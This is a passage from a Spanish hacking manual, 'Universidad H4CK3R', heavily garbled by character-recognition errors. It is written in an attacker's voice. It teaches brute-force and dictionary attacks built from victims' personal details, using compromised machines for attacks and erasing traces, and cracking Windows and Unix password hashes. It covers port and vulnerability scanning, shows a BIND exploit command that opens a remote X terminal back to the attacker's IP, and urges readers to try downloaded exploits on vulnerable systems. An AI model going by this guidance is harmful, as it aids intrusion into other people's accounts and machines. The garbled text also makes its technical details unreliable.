llamados sistemas ChoneypotsD, presentan al atacante el aspecto de sistemas vulnerables,
pero en realidad, conducen a una trampa. -adie !uiere ir a la crcel, y aun!ue no tenga
consecuencias penales, ser detenido, siempre es, por lo menos, desagradable y da mala
reputacin. Se debe tener alg%n cuidado, para !ue el invasor pueda disfrutar de su presa
sin ser molestado.
;earc8 and Jestro-
"hora !ue usted tiene una idea general acerca de cmo organi#ar un ata!ue 0recuerde=
P/"-3M3E:2/< "-62S GGG1, podemos introducir algunas herramientas !ue le ayudarn en
sus ata!ues. Pero no olvides nunca= la velocidad con la !ue se crean las armas y son
neutrali#adas, es brutalG. -o insistir$ a!u en un programa en concreto, sino en la manera
de utili#ar estas herramienta para llevar a cabo un ata!ue. 2s casi seguro !ue estas
herramientas no sern eficaces por!ue los e!uipos ya estarn protegidos contra de ellas.
Pero tambi$n es cierto !ue surgir nuevo softPare. Q2state pendienteG
113
ikimilikiliklik Universidad H4CK3R
F C6ogins: dB&iles
-o hay necesidad de usar ninguna herramienta, si el !ue ha instalado el softPare ha
hecho el trabao para usted. 6odos los sistemas tienen alg%n estndar de cuentas ya
configurado antes de instalar el sistema 0es decir, en los m$todos de instalacin1. 2s
obligacin de !uien est preparando una m!uina para ser usada, saber cuales son estas
cuentas y cambiar las contrase)as !ue se utili#aran, desactivando las dems.
/amentablemente, vemos muchos 4administradores4 por hay, !ue tras conseguir su
OindoPs &''', o su :ni5 directamente del proveedor no se molestan en hacer una
revisin de seguridad antes de poner el e!uipo ha trabaar. Para a!uellos !ue !uieren
ugar a hackers, los sistemas as son un Cplato servidoD. 3ncluso si se cambian las
contrase)as, saber !ue e5isten tales cuentas puede ser un facilitador para el script kiddie,
ya !ue la mitad del trabao ya se sabe, slo falta adivinar la contrase)a.
25isten listas con distintos conuntos de loginLcontrase)a estndar, vlidos para la
mayora de los sistemas operativos. 2stn en formato te5to y se pueden utili#ar como
listas de palabras para el cra!ueo de contrase)as. /ogins cuyas contrase)as no se
muestran en las lista son cuentas !ue e5isten, pero para los !ue no hay estipulada una
contrase)a por defecto. Pruebe con estas combinaciones en sus sistemas conocidos. Hay
sistemas en los !ue, a trav$s de la ingeniera social, usted ya sabe algunas cuentas, le
falta probar alguna contrase)a. 2n la mayora de los casos, alguna de las palabras de
estas listas, se utili#a como la contrase)a de alguien.
= Rom7iendo la 7uerta de entrada
2n los buenos vieos tiempos, la gente no estaba conectada de forma tan segura, y los
agueros como los de las cuentas y contrase)as por defecto eran frecuentes. Pero todo el
mundo hoy en da esta paranoico. Hay muchas ms probabilidades de !ue te encuentres
con un sistema en el !ue todas las cuentas fueron canceladas y para el cual el uso de la
ingeniera social no es posible.
2n tales casos, el hacker no tiene ms alternativa !ue tratar, una por una, todas las
combinaciones de nombre de usuario y contrase)a !ue se pueda imaginar. Por no
necesitar inteligencia, pero si trabao manual, este procedimiento se llama fuer#a bruta o
la Cbrute forceD. Hacerlo manualmente es imposible, dada la magnitud de la tarea, por eso,
los hackers a menudo utili#an programas !ue automati#an el proceso.
/a fuer#a bruta es sin duda el intento ms poco elegante de una invasin de login y
contrase)a. :sted puede hacer fuer#a bruta en el ordenador de su hermano, en casa,
para descubrir las contrase)as de los archivos de 25cel o P(M, por eemplo. 6ambi$n
puedes probar, a trav$s de 3nternet, a entrar en ese sitio de se5o con doble
usuarioLcontrase)a, en lugar de tratar de romper la seguridad del sitio por otros medios.
:sted tambi$n puede tratar de entrar en la #ona restringida de la red de su empresa. (e
todos modos, la fuer#a bruta es torpe, fcilmente detectable y, en una Peb bien
configurada, inofensiva.
2n el caso de un sitio Peb, un sistema de control de acceso bien hecho, cancela o
parali#ar el inicio de sesin por un tiempo determinado, si se hacen ms de tres intentos
fallidos. 2n situaciones de CParFdialingD, debe marcar el mdem en el !ue se desea
114
ikimilikiliklik Universidad H4CK3R
introducir para cada intento de fuer#a bruta, lo !ue lo hace costoso en t$rminos de tiempo
y dinero. Sin embargo, hay casos 0por lo general los ms difciles1 en los !ue la fuer#a
bruta es la %nica manera.
Hay otro m$todo similar, !ue puede ser considerado una fuer#a bruta inteligente= los
ata!ues de diccionarios. :tili#an las listas de palabras comunes, nombres, marcas, erga,
nombres de canciones, pelculas ... /os programas softPare modernos de fuer#a bruta
emplean ambos procesos, tratan primero con la lista de palabras y luego aplican las
combinaciones secuenciales de fuer#a bruta 4primitivas4.
<bviamente, la fuer#a bruta es un procedimiento peligroso. :n administrador de sistema
seguramente notara !ue los ClogsD de errores de entrada crecen de manera espectacular,
y !ue todos los intentos proceden de una sola 3P. :na medida es poner una espera de
varios minutos entre uno y otro intento, pero esto hace el proceso a%n ms lento, !ue
normalmente puede tardar varios das o incluso semanas. 2l procedimiento ms sensato
es a invadir diferentes sistemas, sin importancia y disparar la fuer#a bruta desde ellos 0por
supuesto, siempre recordando borrar sus pistas1.
/os hackers ms e5perimentados saben !ue las listas de palabras deben ser
personali#adas para cada obetivo, y !ue para ser considerada buena, una lista debe
contener datos aportados por la ingeniera social, como el nombre completo del usuario,
su novia, esposa o hios, su aficiones, el modelo de su coche o su nueva direccin.
3nformacin como $sta es muy valiosa, efectiva en ms del I'] de los ata!ues F
especialmente cuando se tiene un n%mero ra#onable de cuentas vlidas, slo tiene !ue
encontrar una contrase)a. Si el candidato a invasor no sabe al menos el login de una
cuenta vlida, es casi seguro !ue sus esfuer#os sern infructferos.
Su lista de palabras debe contener nombres propios 0comunes1 del pas donde se
encuentra el e!uipo. /ibros como 7Eu$ nombre le dar$ a mi hio8 Son de mucha ayuda, y
conseguir las ediciones de estos libros en varios idiomas es un refinamiento importante de
la t$cnica. /a gua telefnica o la gua de negocios por nombres, y anotaciones de otras
personas X son, tambi$n, una buena idea
6eniendo en cuenta siempre !ue conocer el login correcto de la vctima es ms de la
mitad del trabao, a!u van unas sugerencias de cmo conseguir estos logins=
1. Pruebe siempre con todos los nombres y apellidos de la vctima, uno por uno. Si el
login es el primer nombre, o una combinacin de nombres, lo ms probable es !ue la
contrase)a es uno de los otros nombres, seguidos o no de n%meros secuenciales o letras.
c", c+, c. K*,, tambi$n son comunes los sufios0en may%sculas o min%sculas1.
&. Si las tiene, pruebe las palabras obtenidas por ingeniera social= la noviaLesposa, hios,
coche, aficin, posiciones se5uales, los nombres de los efes ... /uego pruebe los
nombres propios ms comunes copiados de la gua telefnica o la gua comercial.
9. 6ambi$n es una buena idea intentar algo en el sistema !ue est siendo invadido. Si la
m!uina es la %nica en la empresa !ue tiene instalado "uto."(, tratar las contrase)as
acad, "utodesk, "uto."( o cadcad. Si se trata de un terminal de mainframe de 3+;, trata
ibmibm, 59&@', +ig+lue, K&I. 2n un V"K, tratar va5, vms, digital o .ompa!.
115
ikimilikiliklik Universidad H4CK3R
?. /os usuarios tambi$n son sensibles al lugar en !ue trabaan. Pruebe con alguna cosa
relativa a la ciudad, barrio o calle donde este la empresa, el nombre de la empresa o sus
productos ms famosos. 2n una m!uina de 6elemar, por eemplo, podra probar con las
contrase)as (((eh91, velo5 o interurbano. " veces el empleado no est satisfecho con
la empresa. Su contrase)a es por lo general en estos casos, o una palabra de blasfemia o
producto de alg%n competidor 0por eemplo, un empleado de .onectiva usa de contrase)a
OindoPs KP1.
I. Por %ltimo, uno debe tratar por separado sus listas de palabras y contrase)as comunes.
-unca utilice listas con ms de cien palabras, por!ue !uedara e5puesto a los dems y
seria fcilmente detectable, y modularice y especialice el ata!ue.
:n procedimiento importante en la preparacin de sus listas de palabras es tratar de
pensar de la misma manera !ue el usuario. Si se escapa de las combinaciones comunes
0nombre de la esposa, hios, etc.1, Su contrase)a ser lo primero !ue viene a la mente, o
el nombre de alg%n obeto !ue est en su escritorio.
Hay varios programas de fuer#a bruta, casi todos con la posibilidad de usar diccionarios y
combinaciones secuenciales. -o vamos a recomendar ninguno a!u, prueba y saca tus
propias conclusiones.
= ;in rom7er el 8ue1o no se 8ace una tortilla
3maginen la situacin inversa a la de la seccin anterior. *a te has introducido en una
m!uina :ni5 o OindoPs -6L&SLKP y capturaste el archivo de contrase)as del sistema.
<bviamente estas contrase)as estn cifradas, as !ue el archivo no te ser %til si no
tienes otra clase de programas !ue todo cracker debe tener= rompecontrase)as.
2n la mayora de los casos, se invade el sistema por alg%n descuido del administrador,
pero con un usuario cuyos poderes son muy limitados. Nobando el archivo de
contrase)as, puede entrar en las reas privadas de otros usuarios 0dentro de la misma
m!uina o red1 y capturar informacin %til para un ata!ue ms profundo, o incluso los
datos vitales, como las contrase)as de otros servicios, el acceso a las reas restringidas
de la empresa o los n%meros de taretas de cr$dito. 6ambi$n puede obtener la contrase)a
de administrador y 4apropiarse4 de la m!uina.
/os archivos de contrase)as cifrados generalmente tienen ChashesD al lado de los logins.
/os valores ChashD son una secuencia de smbolos !ue, confrontados con la clave
criptogrfica correcta, muestran la contrase)a del usuario. 2n OindoPs -6 0y versiones
posteriores, OindoPs &''' y KP1, las contrase)as son almacenadas en el registro. :n
eemplo de un hash de OindoPs podra ser=
maedina&: 1001: $<=2%2>==?1F/$A0=1?/<0$A%=@1<?%$%$%FA2: @=0$
A/01<$01@%0</ 1<>110=111/%F/$%%00<1:::
2l primer campo es, obviamente, el login de usuario. 2l segundo es la 3( %nica del usuario
en el sistema. /a familia Oin-6 posee esta identificacin de la misma manera !ue :ni5,
aun!ue esto se oculta a los usuarios. (espu$s tenemos dos n%meros grandes, !ue
representan las contrase)as encriptadas del sistema. /a primera es la representacin de
116
ikimilikiliklik Universidad H4CK3R
la contrase)a antigua para redes ;icrosoft, compatible con /"- ;anager. Por eso, se
llama el hash /;. 2n realidad, no es la contrase)a cifrada. "l contrario, el sistema genera
dos n%meros he5adecimales y estos n%meros estn codificados por el estndar (2S
0(ata 2ncryption Standard1, utili#ando la contrase)a como la clave, establecida en 1?
caracteres 0si el usuario usa una contrase)a ms corta, se utili#an los rellenos 1. .ada
mitad de la contrase)a 0siete caracteres1 se utili#a para cifrar uno de los n%meros
he5adecimales. 2sta representacin de la contrase)a es muy d$bil y es fcilmente
descifrables por los hackers. 2l m$todo normalmente utili#ado es dividir el hash en dos
partes, y el pirata usa crackers de contrase)as independientes en cada parte, lo !ue
acelera la ruptura de la contrase)a.
/o siguiente se llama la representacin -6 de la contrase)a. " diferencia de antes, esta
representacin es mucho ms difcil de descifrar. /a contrase)a tambi$n se establece en
1? caracteres y despu$s, se cifra tres veces usando el algoritmo de hash ;(F?. "un!ue
ha meorado mucho, todava es ineficiente en comparacin con los sistemas :ni5. Malta
4sal4. 2l concepto de 4salado4 0o 4sal41 es interesante. .ual!uier algoritmo de cifrado esta
basado en el intercambio de valores. .ondimentar con sal el ChashD significa elegir
muchos valores aleatorios para intercambiar, a)adiendo un nuevo nivel de desafo para la
reversin del criptograma. /a falta de 4condimento4 permite a un atacante utili#ar slo una
estimacin del ChashD de la clave, reduciendo significativamente el tiempo necesario para
descubrirla.
3ncluso sin este problema, OindoPs -6L&SLKP tiene otra desventaa evidente= los hashes
pueden ser ledos por cual!uier usuario. -o hay manera de evitar !ue los hackers tengan
acceso a ellos. Por otra parte, en la mayora de los casos, la misma contrase)a refor#ada
por el hash -6 no est bien disuelta en el pseudo hash /;. (escubriendo el segundo, es
probable !ue el cracker tenga acceso al sistema y a la red.
2n :ni5, la informacin de acceso se almacena en LetcLpassPd. 2l contenido del archivo
passPd es mucho ms complea 0y completa1 !ue el microsoftiano e!uivalente.
nonodeo#um: A1AB#C@/a=D3FS<=Em!@0'3Aia2cEr@u1:<00:<00:Padre
6ono de F#um:8&ome8nonodeo#um:8+in8+as&
(e i#!uierda a derecha, separados por dos puntos, tenemos= nombre de usuario, hash de
la contrase)a, 3( de usuario, 3( de grupo al !ue pertenece 0tanto en Oin-6 como en :ni5
los usuarios se dividen en grupos1, nombre completo del usuario 0este es el antiguo
campo TF.<S1, la ubicacin del directorio personal 0home1 y el login de shell del usuario.
<bserve el hash. 2s mucho ms compleo !ue el de Oin-6. -o hay manera de !ue un
hacker descifre la contrase)a, ya !ue ella es 4solo de ida4. /a clave de cifrado se aplica
cuando el usuario registra la contrase)a, !uedando el resultado del hashing del archivo
guardado en un archivo passPd. /a clave al ser 4en una direccin4, slo puede ser
descubierta por la fuer#a bruta. .uando el usuario se logea en el sistema, el archivo de la
contrase)a passPd no es descifrado. Por el contrario, la contrase)a proporcionada
durante el inicio de sesin se cifra otra ve# y se compara con lo !ue se escribi en el
archivo. Si ambas 4coinciden4, el usuario tiene acceso al sistema. :na de las
caractersticas interesantes es !ue ning%n algoritmo de cifrado genera un hash !ue
117
ikimilikiliklik Universidad H4CK3R
contenga el carcter 4h4. Por lo tanto, poner un carcter de esos en lugar de la contrase)a
impide el acceso para esa cuenta.
2l enfo!ue de LetcLpassPd tiene un problema. 6odos los usuarios deben ser capaces de
leer el archivo, por!ue su informacin vital 0:/(, T3(, home y shell1 se encuentra en el.
2sto significa !ue los valores hash de todos los usuarios estn desprotegidos y cual!uier
lammer con una cuenta en el sistema puede eecutar un crak de contrase)as en ellos.
"un!ue es difcil de romper, un archivo !ue puede ser ledo por todo el mundo tambi$n se
pueden copiar en un dis!uete y llevarlo a casa y romperlo con una m!uina com%n en
silencio, sin !ue nadie lo sepa.
Para resolver este problema, la mayora de sistemas :ni5 utili#an ahora el ocultamiento
de contrase)as o CshadoP passPordsD. 2l CshadoPD es un archivo solo legible con
permisos de root. 2n LetcLpassPd en lugar de la contrase)a, tenemos un 4hD, o una 454
para indicar !ue la contrase)a est en un archivo oculto. 2sta t$cnica hace !ue sea
imposible de lograr, como un usuario normal, las contrase)as de otros usuarios. * como
sabemos, en la mayora de los ata!ues se tiene !ue conseguir primero un acceso limitado
para luego tratar de acceder sin restricciones. :n solo dispositivo pone dos niveles de
dificultad ms en el camino del cracker.
2l cracker de contrase)as ms conocido para la familia Oin-6 es /'pht.rack, una
herramienta muy fcil de usar y capa# de romper los hashes d$biles de OindoPs en poco
tiempo. "ctualmente esta disponible slo en versin comercial !ue cuesta ^ 9I', pero
usted puede conseguir el cdigo fuente de una versin anterior de la
PPP.atstake.comLresearchLlcLdoPnload.html. Para :ni5, la estrella es el fabuloso CZohn
the NipperD. 2l softPare es capa# de romper, con alguna ayuda de la ingeniera social, las
contrase)as de los archivos passPd y shadoP 0si el atacante consigue tener acceso a
ellos1 y, unto con herramientas de conectividad, puede capturar contrase)as encriptadas
!ue viaan a trav$s de una red. "dems de :ni5, hay versiones del programa para (<S,
Oin9&, +e<S, y <penV;S y control de "MS de Serberos y hashes pseudoF/; de
OindoPs -6L&SLKP. CZohn the NipperD est disponible en PPP.openPall.comLohnL.
2l lector habr notado !ue no he mencionado a la familia OinB5 en esta seccin sobre las
contrase)as. /a ra#n es simple= no hay seguridad en este entorno. /as contrase)as se
almacenan en archivos con el nombre de usuario y la e5tensin PO/. (ebera ser
relativamente fcil de romper las contrase)as CrevueltasD en estos archivos 0no se puede
usar la palabra 4cifrado4 a!u1, pero no hay necesidad de esfor#arse= simplemente borra
los archivos y OindoPs alegremente te pedir nuevas contrase)as. Sin embargo, como
los archivos PO/ pueden almacenar 0ya menudo lo hacen1 la misma contrase)a de red,
romperlos puede ser de gran ayudaG. Hay miles de rompedores PO/ en
packetstormsecurity.nl.
= 5scFneres
2scneres son programas utili#ados para e5aminar los e!uipos de una red en busca de
vulnerabilidades. Hay puertos abiertos a los ata!ues tanto en e!uipos personales como
en servidores de todos los tama)os. /os escneres buscan sistemas !ue estn
desprotegidos y listos para un anlisis e5haustivo de su seguridad. /a mayora de los
118
ikimilikiliklik Universidad H4CK3R
escneres no fue dise)ado con la intencin de usarlos maliciosamente. Pero como una
hermosa y fragante rosa tambi$n tienen espinas, son utili#ados por ambos lados= los
hackers los utili#an para atacar, mientras !ue los administradores buscan brechas para
hacer correcciones.
25isten escneres especficos, desarrollados por empresas !ue dan importancia a la
seguridad y !ue generalmente son caros. .omo un hacker no respeta nada, es inevitable
!ue estos escneres, caigan en sus manos. <tros, los crean hackers ms
e5perimentados. 2n cuanto a las vulnerabilidades !ue estos escneres e5ploran son
secretos, pocos tienen acceso a ellos. (espu$s de !ue se han !uedado obsoletos, se
ponen en la red para !ue los 4script kiddies4 pueden usarlos. Por lo tanto, es bueno
recordar !ue los escneres fciles de encontrar en 3nternet pueden no ser ya tan eficaces
o incluso son completamente in%tiles.
/os escneres se pueden dividir en dos tipos= el escner de puertos abiertos 6.PL3P 0o
PortScanner1 y el escner de vulnerabilidades conocidas.
= 5scFneres de 7uertos
.ual!uier e!uipo con conectividad 6.PL3P tiene, en teora, ms de 1&A ''' puntos
vulnerables. .ada servicio de red !ue est disponible en una m!uina en particular es
una potencial puerta de entrada F como vimos en el captulo sobre :ni5. 2n Nedes 3 nos
enteramos de !ue cada uno de estos servicios 4escucha4 a la red a trav$s de un puerto
representado por un n%mero, a la espera para conectarse. .mo son JI.I9J puertas para
el protocolo 6(P y JI.I9J puertos para protocolo :(P, entonces tenemos una verdadera
legin de hidras. Por eemplo, si la m!uina es un servidor Oeb, es probable !ue el
puerto 6.P A' este abierto, para !ue otros e!uipos puedan acceder a las pginas H6;/.
<tro eemplo= una m!uina OindoPs !ue esta compartiendo 04share41 archivos ligados a
la 4escucha4 en los puertos 19@, 19B y ?II en espera de otras m!uinas OindoPs !ue
!uieren leer los archivos compartidos. 2stos n%meros se encuentran regulados en
NM.1@''.0Ne!uest for .omments, son documentos con recomendaciones para la implementacin de
servicios y estndares para 3nternet y las redes en general. 6odos ellos se pueden encontrar en
www.ietf.org/rfc.html.1
/os escneres de puertos verifican los puertos6.PLlP abiertos en un sistema. Su obetivo
es hacer una lista de los servicios de red 6.PLlP disponibles, por lo !ue ellos responden
cuando se les pregunta. .on los resultados proporcionados por el CportscannerD y el
conocimiento de NM.1@'', el atacante puede determinar !u$ servicios estn disponibles
y aplicar los Ce5ploitsD pertinentes. 6ambi$n hay Cstealth port scannersD, !ue utili#an
t$cnicas de no cone5in o cone5in incompleta para no ser detectados F no siempre con
$5ito F como si tuvieran un dispositivo de camuflae. /os administradores deben utili#ar
herramientas especficas para detectarlos.
.asi todas las t$cnicas de escaneo de puertos hacen uso de los signos 0o flags1 6.P,
:(P o 3.;P intercambiados entre los programas !ue desean conectarse. Slo como
referencia rpida, los signos son los siguientes=
PS- 0push1 F :na especie de 4vlvula de seguridad4, acelera la transmisin para poder
terminar3a
119
ikimilikiliklik Universidad H4CK3R
SB6 0sincroni#ar1 F 3ntento de sincroni#acin entre los puertos
A%K 0reconocimiento1 F 3ndica !ue los pa!uetes anteriores han sido aceptados en el
destino
.SD 0reset1 F 3nterrumpe la cone5in debido a errores o 4lnea de la cada4
FI6 0final1 X Minali#ador de cone5in, utili#ado al final de la transmisin 0no hay ms datos1
5.G 0urgente1 F +andera de urgencia
;ediante el anlisis de estas se)ales, los escneres obtienen informacin %til sobre los
sistemas y los comparan con patrones predefinidos. 2l resultado se pasa al hacker, !ue
interpreta los resultados en base a su e5periencia y conocimientos y decide !ue Ce5ploitD
usar. Veremos un poco mas sobre Chadshake 6.PL3PD y el funcionamiento de los
escneres en los captulos siguientes. Si todo hasta ahora le parece confuso, no
contin%e,relea el capitulo Nedes 3. 6ambi$n te recomendamos los e5celentes libros del
Prof. "ndreP 6annembaum y Tabriel 6orres, CNedes de computadorasD. " pesar de tener
mismo titulo, son dos libros diferentes. 3nternet tambi$n est lleno de tutoriales sobre
6.PLlP. :tilice su buscador favorito y divi$rtaseG
= "uncionamiento de un escFner de 7uertos
Hay cientos de escneres de puertos esparcidos a trav$s de 3nternet. 2n primer lugar,
debemos elegir la plataforma en la !ue trabaamos, :ni5 0incluyendo /inu51 o OindoPs.
Tran parte de los principiantes prefieren la segunda opcin por!ue la mayora de las
herramientas son ms fciles de manear. (espu$s de 4ugar4 un poco con estos
escneres y comprobar su modus operandi, pasan a utili#ar escneres ms compleos y
potentes.
:na de las opciones de los buenos programas de e5ploracin es la posibilidad de definir
un rango de direcciones 3P a anali#ar. Por eemplo, podemos escanear las direcciones
entre 1B&.1JA.1.1 y 1B&.1JA.1.1', die# m!uinas en una red privada F o entre J?.5.5.1 y
J?.y.y.&I? F &I& m!uinas en el 3nternet p%blico. 6enga en cuenta !ue en cual!uier rango
de direcciones se encuentran computadoras personales, estaciones de trabao o
servidores. Se omiten 5.5 e y.y en las direcciones de la muestra para proteger a los
inocentes. _F1
Necordemos !ue las direcciones 3P internas de las grandes empresas no pueden ser
atacadas directamente a trav$s de 3nternet. Sera necesario, primero pasar a trav$s de la
puerta de enlace 0gatePay1, el firePall, obtener una shell en una m!uina !ue tenga
interfaces de red tanto en lnea como en la red interna y mapear la red interna para llegar
a la m!uina deseada F !ue no es fcil, por ahora.
2n el caso de una direccin directamente conectada a 3nternet, debe hacerse una
eleccin de los puertos ms vulnerables. (espu$s de definir el rango de direcciones 3P,
podemos, a nuestro gusto, definir !u$ puertos vamos a testar y !u$ m$todos vamos a
utili#ar. Nestringir el n%mero de puertos es un acierto, por!ue si escanea 6<(<S los
puertos, seguramente ser detectado por un administrador atento 0o un 3(S1. .omience
con los servicios ms comunes, en los !ue puede confundirse con el trfico normal.
-uestras propuestas son los tan conocidos puertos &1 0telnet1, &I 0correo1, I9 0(-S1, A'
0Peb1 y 19BL??I 0S;+L.3MS1. Para fines didcticos vamos a escanear esos puertos. :na
120
ikimilikiliklik Universidad H4CK3R
ve# instalado, slo hay !ue eecutar el programa y ver el siguiente resultado=
4irecci2nE >89B>=@B>B>9
E! 'erto 9> BBB Escc$#n"o
E! 'erto 99 BBB Escc$#n"o
E! 'erto 9; BBB Escc$#n"o
E! 'erto >>A BBB Escc$#n"o
/os puertos &1,&&,&I y 11' pueden estar abiertos para una posible invasin, pueden estar
bao la supervisin de un administrador o realmente pueden ser seguros. 2l puerto 11'
proporciona el servicio P<P9. 2s el lugar donde te conectas para descargar tu correo
electrnico. Sin embargo, este puerto debe estar abierto 0en los servidores de correo
electrnico, obviamente1, de lo contrario nadie podra leer el correo electrnico. "brir los
puertos no es sinnimo de inseguridad. 2l problema son los puertos abiertos, cuyos
programas !ue los 4escuchan4 tengan fallos de seguridad.
2l portscanner ms conocido de la tierra es nmap 0PPP.insecure.orgLnmapL1.
<riginalmente desarrollado para :ni5, tiene versiones para muchos sistemas operativos,
incluyendo OindoPs. (ise)ado para la lnea de comandos, tiene varias interfaces
grficas, como C-mapOinD para OindoPs 0PPP.nmapPin.org1 y CnmapfeD para :ni5
0incluido en el pa!uete de nmap1. -map, es e5tremadamente fle5ible y potente.
= 5scaner de 1ulnera&ilidades
-osotros usamos el escaneo de puertos para comprobar los servicios activos en un
sistema dado. :na ve# conocidos estos servicios, entra en uego otro tipo de escner= el
de la vulnerabilidad. +sicamente, la idea del escner de vulnerabilidad es, a trav$s de
una lista de errores conocidos, comprobar si el sistema est funcionando bien o hay un
servicio defectuoso. 2stos escneres facilitan enormemente la labor del atacante,
automati#an el proceso de cone5in a cada uno de los servicios enumerados por el
escaneo de puertos y verifican las debilidades. "l ser automtico, el atacante ahorra das
de trabao debido a !ue el mismo puede comprobar decenas o incluso cientos de
vulnerabilidades, sin la intervencin de un black hat.
:n escner de vulnerabilidades bueno debe revisar los siguientes puntos=
F 2rrores comunes de configuracin= los administradores de sistemas ineptos y usuarios
ine5pertos dean, por incompetencia, puertas abiertas y debilidades sin proteccin en sus
sistemas.
F .ontrase)as y configuracin por defecto= no hay nada !ue guste mas a un hacker !ue
un administrador de sistemas instale el softPare y lo dee con la configuracin de fbrica.
Se parte el culo al ver a usuarios y servidores con contrase)as por defecto 0como nombre
de usuario= root, contrase)a de root= root o usuario= admin, contrase)a= master1 o con
m%ltiples servicios inseguros habilitados innecesariamente.
F /as combinaciones obvias de usuario y contrase)a= otro problema son las contrase)as
obvias. /os usuarios normales tienen tendencia a poner una contrase)a fcil de recordar
0nombre de la esposa, por eemplo1. /a situacin empeora cuando utili#an combinaciones
de nombres conocidos por el p%blico. 2emplos de pares nombre de usuarioLcontrase)a
121
ikimilikiliklik Universidad H4CK3R
d$biles= fabioLunior, PanderleyLlu5emburgo, aliceLcooper, carlaLpere#, georgeLPalkerbush.
<tro problema son las contrase)as de palabras de diccionario= hay crakers de
contrase)as con listas de palabras comunes. :n estudio reali#ado en 1BBA por una
empresa estadounidense mostr !ue el A&] de los empleados utili#a como contrase)a,
cual!uier posicin se5ual o el nombre del efe cambiado en un sentido peyorativo.
F /as vulnerabilidades divulgadas= .ada ve# !ue un fallo de seguridad se divulga, hay una
carrera de los desarrolladores de softPare para corregirlas. Pero tambi$n hay otra
competencia= los hackers !ue !uieran llegar a los sistemas vulnerables antes de sean
parcheados.
:n escner de vulnerabilidades puede, por eemplo, descubrir !ue su versin de servidor
S;6P sendmail es muy antigua y tiene el famoso sendmailFbug. < todava est utili#ando
;S- ;essenger ?.J y por lo tanto, utili#a controles "ctiveK vulnerables. "mbos fallos son
muy antiguos, pero F a !ui$n le importa8 F Si usted no hi#o caso a los conseos de su gur%
de seguridad favorito y no ha actuali#ado su sistema, el problema es suyo. 2stos son slo
dos eemplos de los cientos de pruebas !ue un escner de vulnerabilidades puede hacer
por usted. 2scneres ms modernas ya incluyen en el mismo softPare, CportscansD
CvulnescansD y mapeo de redes. :n eemplo de esto es el e5celente -essus
0PPP.nessus.org1. !ue se abordara en los captulos finales.
= 57loits
/os e5ploits son scripts y programas dise)ados para aprovechar vulnerabilidades de los
sistemas. "l igual !ue los escneres, pueden ser utili#ados tanto por los administradores
para poner a prueba las fallas de seguridad en sus servidores como por los hackers !ue
los utili#an para la invasin y la ad!uisicin de informacin.
Hay varios tipos de e5ploits y cada uno tiene una forma distinta de aplicacin. Para
algunos, los hackers deben tener acceso al shell del e!uipo de destino. 2sto se puede
lograr a trav$s de un troyano !ue se eecute en el sistema de la vctima. 2ste troyano abre
un puerto de comunicacin 0s, un puerto 6.PLlP, con un n%mero determinado y un
protocolo1 y permite !ue el atacante tenga control total sobre la m!uina, incluyendo la
instalacin de programas y por lo tanto la aplicacin de cual!uier e5ploit. 6enga en cuenta
!ue en este caso, ha habido una pe!ue)a invasin= el e5ploit puede romper los otros
niveles de seguridad y obtener as un acceso ms profundo.
<tros e5ploits sirven slo para obtener acceso a un shell y pueden ser aplicados a trav$s
de un sitio Peb !ue contenga cdigo malicioso oculto. 2Fmails en formato H6;/ tambi$n
son portadores de este tipo de cdigo. Por lo general, lo !ue estos e5ploits hacen es
generar un desbordamiento de pila 0buffer overfloP1 y por lo tanto confundir al e!uipo de
destino, haciendo abortar el programa en eecucin y cambiando a la lnea de comandos.
Por ahora, basta saber, !ue todos los programas tienen un rea de memoria 0o buffer1
para intercambiar datos con otros programas o para interactuar con el usuario. 2ste rea
de memoria tiene un tama)o limitado y los programas mal escritos se comportan de forma
e5tra)a cuando el buffer est lleno. 2l pr5imo dato !ue intenta entrar en el buffer y no lo
consigue puede generar inestabilidad en el programa y puede parali#arlo.
122
ikimilikiliklik Universidad H4CK3R
:n eemplo prctico= Se descubre en la direccin victima.com.br 0atencin lammers= la
direccin es ficticia1, un sistema :ni5 corriendo una versin vulnerable de +3-(, un
servidor (-S. :n e5ploit para esta versin de +3-( llamado bind5plt se encuentra
disponible en el sitio CNootshellD, !ue permite la eecucin de comandos arbitrarios en el
CdaemonD despu$s del %ltimo carcter !ue cabe en el b%fer. Necordando !ue slo se
eecuta con privilegios de root, se eecuta en la m!uina del hacker, el comando=
6 /in"&'!t vitim#BcomB/r FCsrC?IIR=C/inC&term +"is'!#y
9AAB&&&ByyyB=EAG
.omo por arte de magia, una ventana de KF6erminal se abre en la m!uina del hacker,
!ue es due)o de la 3P &''.555.yyy.J. (entro de esta ventana, el CpromptD del sistema es el
de la m!uina victima.com.br. 2s la gloriaG.
Hay miles de e5ploits !ue pueden ser utili#ados. Podramos citar algunos a!u, pero la
cantidad es realmente aterradora. Sugerimos dear de leer el libro en este momento y
navegar a trav$s de cada uno de los sitios mencionados a continuacin. 2st$ al tanto de
cmo trabaa cada sitio, descargue algunos e5ploits y trate de aplicar3os en sistemas
vulnerables.
PPP.cert.org
PPP.insecure.org
PPP.rootshell.com
PPP.securityfocus.com
PPP.packetstormsecurity.org
PPP.linu5security.com
PPP.linu5security.com.br
PPP.hackersplayground.org
PPP.ntsecurity.nu
PPP.antionline.com
PPP.digitalsin.netLcynLsinfinite
PPP.ce55.org
PPP.hackinthebo5.org
PPP.astalavista.bo5.sk
5n Ero-a, como los griegos
:na ve# con acceso a la lnea de comandos en el ordenador invadido, uno de los
primeros pasos del Cblack hatD es instalar un backdoor. " trav$s de el, el hacker puede
entrar y salir del e!uipo infectado cuando lo desee. Pero para instalar una puerta trasera,
primero la m!uina tiene !ue ser invadida. ;uchos piensan !ue eso les da demasiado
trabao.
"lgunos e5pertos pensaron, 7por !u$ no hacer !ue los propios ClosersD faciliten nuestro
trabao8 +ueno, usted ya tiene un terreno f$rtil para el nacimiento de los primeros
troyanos. /os troyanos, como com%nmente se les llama, son programas eecutables !ue
controlan todas las partes de la computadora y se comunican con el mundo e5terior. :n
pirata informtico se conecta con el troyano por medio de la puerta integrada y puede
controlar a distancia la m!uina invadida. 2n 1BBA, operaban ms de &I' tipos de
troyanos conocidos en las P. de los ms confiados, y desde entonces, ese n%mero ha
crecido monstruosamente, llegando a IA' en el &'''. Hoy en da, se hace difcil encontrar
un n%mero real, incluso las cifras slo indican los troyanos encontrados y catalogados.
;uchos a%n deben andar por ah con troyanos indetectables.
/a difusin de dichos programas se da por contagio. /os troyanos, en su mayora, se
123
ikimilikiliklik Universidad H4CK3R
desarrollan y se distribuyen como un virus, aduntos al eFmail o en dis!uetes infectados,
con frecuencia se ocultan en archivos inocentes como imgenes, presentaciones Mlash y
uegos. :na ve# !ue la vctima ha instalado el troyano, el ordenador infectado empie#a a
